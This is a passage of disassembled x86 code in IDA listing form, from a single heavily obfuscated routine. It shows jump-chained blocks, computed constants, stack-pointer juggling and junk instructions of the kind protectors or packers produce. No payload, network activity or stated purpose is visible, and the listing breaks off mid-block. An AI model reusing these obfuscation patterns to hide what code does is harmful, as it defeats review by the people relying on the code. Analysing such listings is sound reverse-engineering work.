; ---------------------------------------------------------------------------


loc_5CF163:				; CODE XREF: sub_5A55E5+2094Dj
		pop	esp
		mov	[esp+80h+var_80], esi
		push	27F72894h
		jmp	loc_5CCA2E
; ---------------------------------------------------------------------------


loc_5CF171:				; CODE XREF: sub_5A55E5+1ED5Cj
		push	eax
		push	[esp+9Eh+var_9C+2]
		jmp	loc_5C327A
; ---------------------------------------------------------------------------


loc_5CF17B:				; CODE XREF: sub_5A55E5+29AFAj
		mov	edi, 136F5563h
		shr	edi, 1
		push	ebp
		mov	ebp, 51A776BCh
		not	ebp
		add	ebp, 284B7E1Bh
		sub	ebp, 6E993560h
		neg	ebp
		sub	ebp, 4C614790h
		sub	ebp, 161998D8h
		xor	edi, ebp
		pop	ebp
		xor	edi, 3CCDE72Fh
		add	edx, edi
		pop	edi
		xchg	edx, [esp+0A4h+var_A4]
		pop	esp
		sub	esp, 4
		mov	[esp+0A4h+var_A4], ebx
		jmp	loc_5C6FF5
; ---------------------------------------------------------------------------


loc_5CF1BF:				; CODE XREF: sub_5A55E5+2EA45j
		pop	ecx
		add	esp, 4
		xchg	edx, [esp+9Ch+var_9C]
		pop	esp
		ror	[esp+98h+var_98], cl
		pushf
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5CF1D3:				; CODE XREF: sub_5A55E5+2CF7Cj
		or	eax, 40946432h
		xor	eax, 1DE04C23h
		xor	edi, eax
		jmp	loc_5C26B3
; ---------------------------------------------------------------------------


loc_5CF1E4:				; CODE XREF: sub_5A55E5+2B2F7j
		mov	edx, [esp+9Ch+var_9C]
		jmp	loc_5C74C9
; ---------------------------------------------------------------------------


loc_5CF1EC:				; CODE XREF: sub_5A55E5+1C7C6j
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp+90h+var_90]
		jmp	loc_5C504C
; ---------------------------------------------------------------------------


loc_5CF1FF:				; CODE XREF: sub_5A55E5+2CE4Aj
		pop	esi
		jmp	loc_5C76DC
; ---------------------------------------------------------------------------


loc_5CF205:				; CODE XREF: sub_5A55E5+2B70Fj
		pop	ebx
		pop	esi
		sub	edx, 78836E06h
		push	eax
		jmp	loc_5C9FBA
; ---------------------------------------------------------------------------


loc_5CF213:				; CODE XREF: sub_5A55E5+1BC77j
		mov	cl, dl
		mov	al, cl
		pop	ecx
		mov	ch, al
		push	[esp+0B6h+var_B8+2]
		pop	eax
		add	esp, 4
		mov	edx, [esp+0B2h+var_B4+2]
		push	ebx
		mov	ebx, esp
		push	2E2Dh
		jmp	loc_5C5E4B
; ---------------------------------------------------------------------------


loc_5CF234:				; CODE XREF: sub_5A55E5+22935j
		push	2DC9h
		jmp	loc_5C06CC
; ---------------------------------------------------------------------------


loc_5CF23E:				; CODE XREF: sub_5A55E5+2D081j
		push	ebx
		jmp	loc_5CA7F3
; ---------------------------------------------------------------------------


loc_5CF244:				; CODE XREF: sub_5A55E5+1A682j
		mov	eax, 4
		add	esi, eax
		pop	eax
		push	esi
		push	[esp+9Ah+var_98+2]
		mov	esi, [esp+9Eh+var_A0+2]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+0A2h+var_A4+2]
		pop	esp
		jmp	loc_5CE147
; ---------------------------------------------------------------------------


loc_5CF26C:				; CODE XREF: sub_5A55E5+2166Aj
		pop	esp
		jmp	loc_5C106A
; ---------------------------------------------------------------------------


loc_5CF272:				; CODE XREF: sub_5A55E5+23745j
		push	edx
		mov	dl, 0A0h
		jmp	loc_5CE209
; ---------------------------------------------------------------------------


loc_5CF27A:				; CODE XREF: sub_5A55E5+23C17j
		mov	edi, 76075D37h
		add	ecx, edi
		mov	edi, [esp+0B0h+var_B0]
		jmp	loc_5C7062
; ---------------------------------------------------------------------------


loc_5CF289:				; CODE XREF: sub_5A55E5+1CDF7j
		push	esi
		mov	esi, 60AD4AF2h
		jmp	loc_5CCB57
; ---------------------------------------------------------------------------


loc_5CF294:				; CODE XREF: sub_5A55E5+2721Cj
		add	esp, 4
		sub	edi, 787A7DF1h
		add	edi, ebp
		add	edi, 787A7DF1h
		push	[esp+8Ch+var_8C]
		pop	ebp
		add	esp, 4
		sub	edi, 4
		jmp	loc_5CBC0C
; ---------------------------------------------------------------------------


loc_5CF2B7:				; CODE XREF: sub_5A55E5+28A62j
		pop	edi
		add	eax, 1ACE14F1h
		jmp	loc_5C3374
; ---------------------------------------------------------------------------


loc_5CF2C2:				; CODE XREF: sub_5A55E5+27497j
		mov	ebp, 4
		add	esi, ebp
		jmp	loc_5D1EAD
; ---------------------------------------------------------------------------


loc_5CF2CE:				; CODE XREF: sub_5A55E5+2C38Fj
		xor	eax, 864357Ch
		sub	eax, 512B7C39h
		xor	eax, 428457CEh
		jmp	loc_5C7C64
; ---------------------------------------------------------------------------


loc_5CF2E2:				; CODE XREF: sub_5A55E5+2560Fj
		pop	esp
		mov	[esp+8Eh+var_90+2], eax
		jmp	loc_5C2895
; ---------------------------------------------------------------------------


loc_5CF2EB:				; CODE XREF: sub_5A55E5+1A66Dj
		mov	[esp+9Ah+var_9C+2], edx
		not	byte ptr [esp+9Ah+var_9C+2]
		jmp	loc_5D0959
; ---------------------------------------------------------------------------


loc_5CF2F6:				; CODE XREF: sub_5A55E5+1F680j
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_5D1E2B
; ---------------------------------------------------------------------------


loc_5CF304:				; CODE XREF: sub_5A55E5+2000Cj
		push	[esp+92h+var_94+2]
		pop	eax
		push	edx
		jmp	loc_5C376B
; ---------------------------------------------------------------------------


loc_5CF30E:				; CODE XREF: sub_5A55E5+1CFF6j
		sub	edx, 2C7608ADh
		mov	eax, [esp+0B4h+var_B4]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xor	edi, [esp+0B8h+var_B8]
		xor	[esp+0B8h+var_B8], edi
		xor	edi, [esp+0B8h+var_B8]
		jmp	loc_5D2EDC
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+0B8h+var_B8]
		push	3C41h
		mov	[esp+0BCh+var_BC], eax
		mov	eax, esp
		sub	esp, 4
		jmp	loc_5D2CAF
; ---------------------------------------------------------------------------


loc_5CF347:				; CODE XREF: sub_5A55E5+208D0j
		push	ebx
		push	[esp+7Eh+var_7C+2]
		pop	ebx
		pop	[esp+7Eh+var_80+2]
		jmp	loc_5C9C28
; ---------------------------------------------------------------------------


loc_5CF355:				; CODE XREF: sub_5A55E5+28612j
		push	edi
		mov	edi, 77B2723Ch
		jmp	loc_5D21F1
; ---------------------------------------------------------------------------


loc_5CF360:				; CODE XREF: sub_5A55E5+2B6DDj
		pop	edx
		add	eax, esi
		pop	esi
		mov	ebx, [esp+74h+var_74]
		add	esp, 4
		push	ebp
		mov	ebp, 11874826h
		dec	ebp
		push	ecx
		push	6A9621ABh
		jmp	loc_5D1876
; ---------------------------------------------------------------------------


loc_5CF37F:				; CODE XREF: sub_5A55E5+2CCD0j
		add	esp, 4
		push	edx
		mov	edx, 4B99044Fh
		or	ebx, edx
		pop	edx
		jmp	loc_5CBEA6
; ---------------------------------------------------------------------------


loc_5CF393:				; CODE XREF: sub_5A55E5+260CEj
		mov	ecx, esi
		pop	esi
		add	edi, 64AA0144h
		add	edi, ecx
		sub	edi, 64AA0144h
		pop	ecx
		sub	esp, 4
		mov	[esp+0ACh+var_AC], edi
		push	[esp+0ACh+var_A8]
		jmp	loc_5CF422
; ---------------------------------------------------------------------------


loc_5CF3B4:				; CODE XREF: sub_5A55E5+292DFj
		not	bh
		and	bh, 0CEh
		neg	bh
		add	bh, 0E0h
		mov	cl, bh
		pop	ebx
		add	cl, 0FFh
		shl	cl, 3
		not	cl
		jmp	loc_5D2356
; ---------------------------------------------------------------------------


loc_5CF3CE:				; CODE XREF: sub_5A55E5+22D8Dj
		add	ecx, edx
		mov	edx, [esp+0C0h+var_C0]
		push	59BFh
		jmp	loc_5CC0FE
; ---------------------------------------------------------------------------


loc_5CF3DD:				; CODE XREF: sub_5A55E5+1B96Cj
		pop	esp
		push	ebx
		mov	ebx, esp
		push	5C8Bh
		mov	[esp+98h+var_98], ecx
		mov	ecx, 314406FFh
		xor	ecx, 2C427A00h
		shr	ecx, 4
		push	eax
		mov	eax, 0FE2F9835h
		jmp	loc_5D333C
; ---------------------------------------------------------------------------


loc_5CF402:				; CODE XREF: sub_5A55E5+27E27j
		add	edi, 4
		push	77A2h
		mov	[esp+94h+var_94], ecx
		mov	ecx, 2C0C70F8h
		jmp	loc_5CF018
; ---------------------------------------------------------------------------


loc_5CF41A:				; CODE XREF: sub_5A55E5+2E9BBj
		mov	edi, [esp+94h+var_94]
		jmp	loc_5D1A07
; ---------------------------------------------------------------------------


loc_5CF422:				; CODE XREF: sub_5A55E5+29DCAj
		pop	edi
		pop	[esp+0ACh+var_AC]
		mov	esp, [esp+0A8h+var_A8]
		mov	ax, word ptr [esp+0A8h+var_A8]
		push	7D2Fh
		jmp	loc_5D28A6
; ---------------------------------------------------------------------------


loc_5CF437:				; CODE XREF: sub_5A55E5+1D49Dj
		xchg	ebx, [esp+8Ch+var_8C]
		jmp	loc_5C094D
; ---------------------------------------------------------------------------


loc_5CF43F:				; CODE XREF: sub_5A55E5+22243j
		push	esi
		mov	esi, 97EADDD8h
		add	edx, esi
		mov	esi, [esp+8Ch+var_8C]
		add	esp, 4
		mov	eax, edx
		jmp	loc_5C3B43
; ---------------------------------------------------------------------------


loc_5CF454:				; CODE XREF: sub_5A55E5+26F6Dj
		xchg	ebx, [esp+9Eh+var_A0+2]
		jmp	loc_5C7388
; ---------------------------------------------------------------------------


loc_5CF45C:				; CODE XREF: sub_5A55E5+2D446j
		xchg	ebp, [esp+9Eh+var_A0+2]
		pop	esp
		push	ebp
		push	[esp+9Eh+var_9C+2]
		push	[esp+0A2h+var_A4+2]
		push	[esp+0A6h+var_A8+2]
		pop	ebp
		add	esp, 4
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_5CB3CF
; ---------------------------------------------------------------------------


loc_5CF480:				; CODE XREF: sub_5A55E5+20101j
		not	esi
		shr	esi, 1
		jmp	loc_5CCEC4
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+84h+var_84]
		push	edi
		jmp	loc_5D10FC
; ---------------------------------------------------------------------------
		lodsb
		sub	esp, 4
		jmp	loc_5C51BF
; ---------------------------------------------------------------------------
		push	[esp+8Ch+var_8C]
		pop	ecx
		push	ebx
		mov	ebx, esp
		jmp	loc_5D1548
; ---------------------------------------------------------------------------


loc_5CF4AB:				; CODE XREF: sub_5A55E5+1D124j
		mov	[esp+6Ch+var_6C], edx
		sub	esp, 4
		mov	[esp+70h+var_70], ecx
		jmp	loc_5C82DF
; ---------------------------------------------------------------------------


loc_5CF4BC:				; CODE XREF: sub_5A55E5+20268j
		not	ecx
		jmp	loc_5CFB4E
; ---------------------------------------------------------------------------


loc_5CF4C3:				; CODE XREF: sub_5A55E5+2CD6Cj
		inc	[esp+0A0h+var_A0]
		mov	ecx, [esp+0A0h+var_A0]
		add	esp, 4
		shr	ecx, 8
		jmp	loc_5D0E85
; ---------------------------------------------------------------------------


loc_5CF4D4:				; CODE XREF: sub_5A55E5+2E945j
		add	esi, 4
		xchg	esi, [esp+9Ch+var_9C]
		mov	esp, [esp+9Ch+var_9C]
		or	edx, eax
		shl	edx, 1
		push	ebp
		jmp	loc_5CE9E6
; ---------------------------------------------------------------------------


loc_5CF4EA:				; CODE XREF: sub_5A55E5+1C21Bj
		add	ebp, 217F0779h
		jmp	loc_5D2CEC
; ---------------------------------------------------------------------------
		db 0ACh, 4, 0B3h
		dd 0E9F2B551h, 0FFFF619Dh
; ---------------------------------------------------------------------------


loc_5CF500:				; CODE XREF: sub_5A55E5+1E930j
		pop	esp
		jmp	loc_5CBA15
; ---------------------------------------------------------------------------


loc_5CF506:				; CODE XREF: sub_5A55E5+1E5D7j
		push	edx
		mov	edx, 1ADE776Ah
		jmp	loc_5CB137
; ---------------------------------------------------------------------------


loc_5CF511:				; CODE XREF: sub_5A55E5+2C585j
		push	ebp
		mov	ebp, 7D8176ADh
		add	ebp, 2969257h
		jmp	loc_5C9F4C
; ---------------------------------------------------------------------------


loc_5CF522:				; CODE XREF: sub_5A55E5+1D92Cj
		not	ecx
		add	ecx, 1F1C75A8h
		jmp	loc_5BFE8D
; ---------------------------------------------------------------------------


loc_5CF52F:				; CODE XREF: sub_5A55E5+27CB8j
		sub	bl, al
		push	7AE0h
		mov	[esp+0B8h+var_B8], eax
		mov	al, 6Fh
		jmp	loc_5C7438
; ---------------------------------------------------------------------------


loc_5CF540:				; CODE XREF: sub_5A55E5+1E717j
		push	[esp+6Ah+var_68+2]
		jmp	loc_5C61CC
; ---------------------------------------------------------------------------


loc_5CF549:				; CODE XREF: sub_5A55E5+1B841j
		add	eax, 4
		push	eax
		push	[esp+9Ch+var_98]
		pop	eax
		pop	[esp+9Ch+var_9C]
		pop	esp
		jmp	loc_5C2620
; ---------------------------------------------------------------------------


loc_5CF55B:				; CODE XREF: sub_5A55E5+1DC02j
		mov	esp, [esp+9Ah+var_9C+2]
		btr	word ptr [esp+9Ah+var_9C+2], ax
		pushf
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5CF569:				; CODE XREF: sub_5A55E5+2B378j
		sub	dl, 1
		push	0
		sub	byte ptr [esp+0A2h+var_A4+2], dl
		jmp	loc_5D042D
; ---------------------------------------------------------------------------


loc_5CF579:				; CODE XREF: sub_5A55E5+252C5j
		xchg	edx, [esp+88h+var_88]
		pop	esp
		add	edx, 363B65F3h
		push	ebp
		jmp	loc_5CE452
; ---------------------------------------------------------------------------


loc_5CF589:				; CODE XREF: sub_5A55E5+1C622j
		mov	dl, 22h
		inc	dl
		shl	dl, 6
		shr	dl, 6
		sub	dl, 43h
		xor	bl, dl
		mov	edx, [esp+0A0h+var_A0]
		add	esp, 4
		add	al, bl
		jmp	loc_5CDD7B
; ---------------------------------------------------------------------------
		lodsd
		jmp	loc_5CC1AC
; ---------------------------------------------------------------------------


loc_5CF5AE:				; CODE XREF: sub_5A55E5+2C359j
		sub	edx, 26F84C91h
		add	edx, edi
		add	edx, 26F84C91h
		pop	edi
		sub	esp, 4
		jmp	loc_5C341F
; ---------------------------------------------------------------------------


loc_5CF5C8:				; CODE XREF: sub_5A55E5+1C120j
		mov	edi, edx
		jmp	loc_5CCCF3
; ---------------------------------------------------------------------------


loc_5CF5CF:				; CODE XREF: sub_5A55E5+1B25Aj
		xor	ebp, [esp+0A0h+var_A0]
		xor	[esp+0A0h+var_A0], ebp
		xor	ebp, [esp+0A0h+var_A0]
		pop	esp
		jmp	loc_5CB3C9
; ---------------------------------------------------------------------------


loc_5CF5DE:				; CODE XREF: sub_5A55E5+28309j
		mov	ebx, [esp+70h+var_70]
		push	edi
		mov	edi, esp
		jmp	loc_5C1154
; ---------------------------------------------------------------------------


loc_5CF5E9:				; CODE XREF: sub_5A55E5+2C12Cj
		mov	ebx, 24450B2Fh
		xor	esi, ebx
		mov	ebx, [esp+74h+var_74]
		add	esp, 4
		sub	esi, 1D241A6Ch
		jmp	loc_5D099F
; ---------------------------------------------------------------------------


loc_5CF601:				; CODE XREF: sub_5A55E5+235FDj
		add	edx, esi
		jmp	loc_5C7BA2
; ---------------------------------------------------------------------------


loc_5CF608:				; CODE XREF: sub_5A55E5+1BDDAj
		xor	eax, 0C1F65BB2h
		mov	ebp, eax
		push	[esp+7Ch+var_7C]
		pop	eax
		add	esp, 4
		mov	dword ptr [edi+20h], 0F175FB55h
		jmp	loc_5C519A
; ---------------------------------------------------------------------------


loc_5CF625:				; CODE XREF: sub_5A55E5+1C73Dj
		add	ecx, edx
		jmp	loc_5D054D
; ---------------------------------------------------------------------------


loc_5CF62C:				; CODE XREF: sub_5A55E5+29402j
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp+90h+var_90]
		pop	esp
		jmp	loc_5D0573
; ---------------------------------------------------------------------------


loc_5CF640:				; CODE XREF: sub_5A55E5+24A3Fj
		push	edi
		sub	esp, 4
		mov	[esp+90h+var_90], ebx
		mov	ebx, 394E57B3h
		jmp	loc_5D2AB2
; ---------------------------------------------------------------------------


loc_5CF651:				; CODE XREF: sub_5A55E5+258CCj
		and	eax, 82831A0h
		xor	eax, 73DF6321h
		mov	ecx, eax
		pop	eax
		jmp	loc_5D366A
; ---------------------------------------------------------------------------


loc_5CF663:				; CODE XREF: sub_5A55E5+2C0AFj
		add	eax, 950AEF04h
		add	ebp, eax
		pop	eax
		jmp	loc_5CD01C
; ---------------------------------------------------------------------------


loc_5CF670:				; CODE XREF: sub_5A55E5+22CE8j
		pop	ecx
		or	ebx, esi
		jmp	loc_5C2D44
; ---------------------------------------------------------------------------


loc_5CF678:				; CODE XREF: sub_5A55E5+277D8j
		add	eax, ebp
		pop	ebp
		push	eax
		push	ecx
		push	62C7348Bh
		pop	ecx
		jmp	loc_5CFCC5
; ---------------------------------------------------------------------------


loc_5CF688:				; CODE XREF: sub_5A55E5+22E82j
		xchg	ebp, [esp+0B2h+var_B4+2]
		pop	esp
		push	ecx
		push	esp
		mov	ecx, [esp+0B6h+var_B8+2]
		add	esp, 4
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+0B2h+var_B4+2]
		pop	esp
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5CF6A6:				; CODE XREF: sub_5A55E5+283CAj
		mov	edi, ebp
		pop	ebp
		jmp	loc_5CD9DC
; ---------------------------------------------------------------------------


loc_5CF6AE:				; CODE XREF: sub_5A55E5+26C0Bj
		mov	[esp+0B0h+var_B0], ebx
		jmp	loc_5D0160
; ---------------------------------------------------------------------------


loc_5CF6B6:				; CODE XREF: sub_5A55E5+1F0F0j
		pop	[esp+6Ah+var_6C+2]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_5C25EE
; ---------------------------------------------------------------------------


loc_5CF6CA:				; CODE XREF: sub_5A55E5+2849Bj
		mov	edi, ebp
		pop	ebp
		push	0A45BC38Eh
		jmp	loc_5C9D70
; ---------------------------------------------------------------------------


loc_5CF6D7:				; CODE XREF: sub_5A55E5+1E8FCj
		mov	ebx, 598972A6h
		jmp	loc_5C87E6
; ---------------------------------------------------------------------------


loc_5CF6E1:				; CODE XREF: sub_5A55E5+2D1F3j
		and	dh, 83h
		jmp	loc_5C43DB
; ---------------------------------------------------------------------------


loc_5CF6E9:				; CODE XREF: sub_5A55E5+2E54Aj
		push	esi
		push	ecx
		mov	ecx, 6763E93h
		sub	ecx, 6763E8Fh
		mov	esi, ecx
		jmp	loc_5CFC98
; ---------------------------------------------------------------------------


loc_5CF6FD:				; CODE XREF: sub_5A55E5+24E7Fj
		push	[esp+0A4h+var_A4]
		pop	ecx
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+0A8h+var_A8]
		pop	esp
		neg	ecx
		dec	ecx
		push	eax
		jmp	loc_5C5A79
; ---------------------------------------------------------------------------


loc_5CF71D:				; CODE XREF: sub_5A55E5+2130Bj
		sub	ebx, 27F0919h
		jmp	loc_5D2389
; ---------------------------------------------------------------------------


loc_5CF728:				; CODE XREF: sub_5A55E5+2E7E3j
		mov	edi, 586C5586h
		dec	edi
		dec	edi
		add	edi, 48351F0h
		jmp	loc_5CE03F
; ---------------------------------------------------------------------------


loc_5CF73A:				; CODE XREF: sub_5A55E5+212B0j
		pop	esp
		mov	eax, [esp+8Eh+var_90+2]
		sub	esp, 4
		mov	[esp+92h+var_94+2], ecx
		push	32D5h
		mov	[esp+96h+var_98+2], esp
		add	[esp+96h+var_98+2], 4
		pop	ecx
		jmp	loc_5C2A87
; ---------------------------------------------------------------------------


loc_5CF759:				; CODE XREF: sub_5A55E5+1CEC2j
		sub	ebp, 0F6BB75B7h
		add	esi, ebp
		pop	ebp
		xchg	esi, [esp+0B6h+var_B8+2]
		pop	esp
		push	2114h
		mov	[esp+0B6h+var_B8+2], edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		jmp	loc_5D0A04
; ---------------------------------------------------------------------------


loc_5CF77E:				; CODE XREF: sub_5A55E5+2A5DEj
		mov	ecx, 0
		add	ecx, eax
		jmp	loc_5CDD32
; ---------------------------------------------------------------------------


loc_5CF78A:				; CODE XREF: sub_5A55E5+2540Aj
		push	1831h
		mov	[esp+90h+var_90], esp
		add	[esp+90h+var_90], 4
		pop	ecx
		push	edi
		jmp	loc_5C7EFD
; ---------------------------------------------------------------------------


loc_5CF7A0:				; CODE XREF: sub_5A55E5+1A898j
		not	edi
		jmp	loc_5C12E3
; ---------------------------------------------------------------------------


loc_5CF7A7:				; CODE XREF: sub_5A55E5+1DDBFj
		neg	eax
		shl	eax, 5
		and	eax, 5F0178A1h
		jmp	loc_5D0F0F
; ---------------------------------------------------------------------------
		mov	esp, [esp+0B8h+var_B8]
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5CF7BE:				; CODE XREF: sub_5A55E5+2D7B7j
		xchg	esi, [esp+0B8h+var_B8]
		mov	esp, [esp+0B8h+var_B8]
		add	esp, 4
		push	ebx
		push	[esp+0B8h+var_B4]
		pop	ebx
		pop	[esp+0B8h+var_B8]
		mov	esp, [esp+0B4h+var_B4]
		mov	[esp+0B4h+var_B4], edx
		jmp	loc_5CD957
; ---------------------------------------------------------------------------


loc_5CF7DB:				; CODE XREF: sub_5A55E5+2E4D7j
		push	[esp+0B4h+var_B4]
		push	[esp+0B8h+var_B8]
		push	[esp+0BCh+var_BC]
		mov	eax, [esp+0C0h+var_C0]
		add	esp, 4
		jmp	loc_5C2C8F
; ---------------------------------------------------------------------------


loc_5CF7F2:				; CODE XREF: sub_5A55E5+20306j
		sub	[esp+86h+var_84+2], ecx
		jmp	loc_5C8F9D
; ---------------------------------------------------------------------------


loc_5CF7FB:				; CODE XREF: sub_5A55E5+1DACBj
		xor	eax, 68321034h
		push	edi
		jmp	loc_5D14F8
; ---------------------------------------------------------------------------


loc_5CF806:				; CODE XREF: sub_5A55E5+2E354j
		not	ebp
		jmp	loc_5C44FC
; ---------------------------------------------------------------------------


loc_5CF80D:				; CODE XREF: sub_5A55E5+2E220j
		push	1013h
		mov	[esp+0AEh+var_B0+2], eax
		push	67FCh
		mov	[esp+0B2h+var_B4+2], edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xor	edx, [esp+0B2h+var_B4+2]
		xor	[esp+0B2h+var_B4+2], edx
		xor	edx, [esp+0B2h+var_B4+2]
		pop	esp
		mov	[esp+0AEh+var_B0+2], ecx
		push	2AE2h
		mov	[esp+0B2h+var_B4+2], esi
		push	edx
		jmp	loc_5C1CD8
; ---------------------------------------------------------------------------


loc_5CF843:				; CODE XREF: sub_5A55E5+22709j
		pop	ecx
		xor	al, bl
		push	[esp+0A4h+var_A4]
		pop	ebx
		add	esp, 4
		sub	esp, 4
		mov	[esp+0A4h+var_A4], ebx
		jmp	loc_5C29B9
; ---------------------------------------------------------------------------


loc_5CF858:				; CODE XREF: sub_5A55E5+1AB19j
		push	[esp+82h+var_80+2]
		pop	esi
		pop	[esp+82h+var_84+2]
		mov	esp, [esp+7Eh+var_80+2]
		push	esi
		push	esp
		pop	esi
		push	ebx
		push	6B0Ah
		mov	[esp+8Ah+var_8C+2], eax
		push	4
		pop	eax
		mov	ebx, eax
		pop	eax
		add	esi, ebx
		pop	ebx
		add	esi, 4
		xchg	esi, [esp+82h+var_84+2]
		jmp	loc_5CE983
; ---------------------------------------------------------------------------


loc_5CF886:				; CODE XREF: sub_5A55E5+20BABj
		sub	eax, 0B895F9Ah
		add	eax, edx
		add	eax, 0B895F9Ah
		jmp	loc_5BF8AA
; ---------------------------------------------------------------------------
		push	4538h
		push	661Bh
		jmp	loc_5CAC8E
; ---------------------------------------------------------------------------


loc_5CF8A6:				; CODE XREF: sub_5A55E5+219F2j
		xchg	ecx, [esp+66h+var_68+2]
		mov	esp, [esp+66h+var_68+2]
		add	ebx, 4
		add	ebx, 4
		jmp	loc_5D2A90
; ---------------------------------------------------------------------------


loc_5CF8BA:				; CODE XREF: sub_5A55E5+2161Cj
		sub	ebp, eax
		pop	eax
		jmp	loc_5CB9E9
; ---------------------------------------------------------------------------


loc_5CF8C2:				; CODE XREF: sub_5A55E5+25DF4j
		mov	ax, word ptr [esp+80h+var_80]
		sub	esp, 4
		mov	[esp+84h+var_84], edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp+84h+var_84]
		pop	esp
		mov	[esp+80h+var_80], ebp
		push	esp
		push	[esp+84h+var_84]
		pop	ebp
		add	esp, 4
		add	ebp, 4
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp+84h+var_84]
		pop	esp
		jmp	loc_5D24B5
; ---------------------------------------------------------------------------


loc_5CF904:				; CODE XREF: sub_5A55E5+27204j
		push	[esp+90h+var_8C]
		push	[esp+94h+var_94]
		pop	ebx
		add	esp, 4
		jmp	loc_5C0135
; ---------------------------------------------------------------------------


loc_5CF917:				; CODE XREF: sub_5A55E5+2E3F8j
		pop	ecx
		push	edx
		mov	edx, 605A2B82h
		neg	edx
		xor	edx, 0C78A8991h
		jmp	loc_5C5161
; ---------------------------------------------------------------------------


loc_5CF92B:				; CODE XREF: sub_5A55E5+1C9D8j
		mov	eax, 1
		mov	ebp, eax
		mov	eax, [esp+98h+var_98]
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		jmp	loc_5C6249
; ---------------------------------------------------------------------------


loc_5CF949:				; CODE XREF: sub_5A55E5+1BE4Ej
		xor	esi, edi
		pop	edi
		shr	esi, 3
		jmp	loc_5CDDC2
; ---------------------------------------------------------------------------


loc_5CF954:				; CODE XREF: sub_5A55E5+2B577j
		mov	eax, [esp+82h+var_84+2]
		add	esp, 4
		jmp	loc_5C4923
; ---------------------------------------------------------------------------


loc_5CF95F:				; CODE XREF: sub_5A55E5+2B17Fj
		sub	esp, 4
		mov	[esp+82h+var_84+2], edi
		push	[esp+82h+var_80+2]
		push	[esp+86h+var_88+2]
		push	[esp+8Ah+var_8C+2]
		pop	edi
		sub	esp, 4
		mov	[esp+8Eh+var_90+2], ecx
		push	esp
		jmp	loc_5C65AE
; ---------------------------------------------------------------------------


loc_5CF982:				; CODE XREF: sub_5A55E5+2D9D2j
		mov	edx, [esp+92h+var_94+2]
		add	esp, 4
		xor	ecx, esi
		push	[esp+8Eh+var_90+2]
		pop	esi
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_5CC5D8
; ---------------------------------------------------------------------------


loc_5CF9A5:				; CODE XREF: sub_5A55E5+22E39j
		add	edi, edx
		pop	edx
		xchg	edi, [esp+0A8h+var_A8]
		pop	esp
		push	cx
		mov	cl, 0A8h
		jmp	loc_5CD26D
; ---------------------------------------------------------------------------


loc_5CF9B5:				; CODE XREF: sub_5A55E5+1D9DCj
		or	dh, 99h
		sub	dh, 6Ah
		mov	bh, dh
		pop	edx
		jmp	loc_5CE637
; ---------------------------------------------------------------------------


loc_5CF9C3:				; CODE XREF: sub_5A55E5+22FC1j
		not	edi
		sub	edi, 4C971C01h
		jmp	loc_5D3892
; ---------------------------------------------------------------------------


loc_5CF9D0:				; CODE XREF: sub_5A55E5+1F7A8j
		add	edx, edi
		add	edx, 3C2E2474h
		pop	edi
		jmp	loc_5C7027
; ---------------------------------------------------------------------------


loc_5CF9DE:				; CODE XREF: sub_5A55E5+1CBD0j
		sub	esp, 4
		mov	[esp+5Ah+var_5C+2], ebp
		mov	ebp, 0B9D066Eh
		neg	ebp
		dec	ebp
		dec	ebp
		sub	esp, 4
		mov	[esp+5Eh+var_60+2], ebx
		mov	ebx, 24F875DFh
		shl	ebx, 7
		jmp	loc_5CD21A
; ---------------------------------------------------------------------------


loc_5CFA06:				; CODE XREF: sub_5A55E5+2217Bj
		mov	esp, [esp+80h+var_80]
		mov	word ptr [esp+80h+var_80], ax
		mov	al, 0EDh
		jmp	loc_5CEF9B
; ---------------------------------------------------------------------------


loc_5CFA14:				; CODE XREF: sub_5A55E5+2441Fj
		add	ebx, 34F3720Fh
		add	ebx, 6AC23D9Bh
		push	dword ptr [ebx]
		sub	esp, 4
		mov	[esp+58h+var_58], ebp
		mov	ebp, 64D64D3Ah
		push	ebp
		mov	ebp, 3DBF0ECBh
		add	[esp+5Ch+var_54], ebp
		pop	ebp
		sub	[esp+58h+var_54], ebp
		push	eax
		mov	eax, 3DBF0ECBh
		jmp	loc_5C9449
; ---------------------------------------------------------------------------


loc_5CFA4A:				; CODE XREF: sub_5A55E5+1A54Aj
		pop	edx
		add	edx, 4
		jmp	loc_5CB93C
; ---------------------------------------------------------------------------


loc_5CFA56:				; CODE XREF: sub_5A55E5+1B98Fj
		pop	esi
		xor	edi, 5AA6DBF6h
		sub	eax, edi
		mov	edi, [esp+98h+var_98]
		add	esp, 4
		add	eax, 78315C09h
		sub	eax, ebx
		sub	eax, 78315C09h
		push	ebx
		mov	ebx, 4D782557h
		sub	esp, 4
		mov	[esp+9Ch+var_9C], edi
		jmp	loc_5C6FA1
; ---------------------------------------------------------------------------


loc_5CFA88:				; CODE XREF: sub_5A55E5+2778Bj
		pop	esp
		push	ebp
		mov	ebp, 6400458Ah
		sub	ebp, 0FEEDD3EEh
		jmp	loc_5CEB6F
; ---------------------------------------------------------------------------


loc_5CFA9A:				; CODE XREF: sub_5A55E5+1F3C6j
		pop	edx
		jmp	loc_5C566D
; ---------------------------------------------------------------------------


loc_5CFAA0:				; CODE XREF: sub_5A55E5+27F86j
		push	ebx
		mov	ebx, 0C2490Ch
		mov	ecx, 68C689DAh
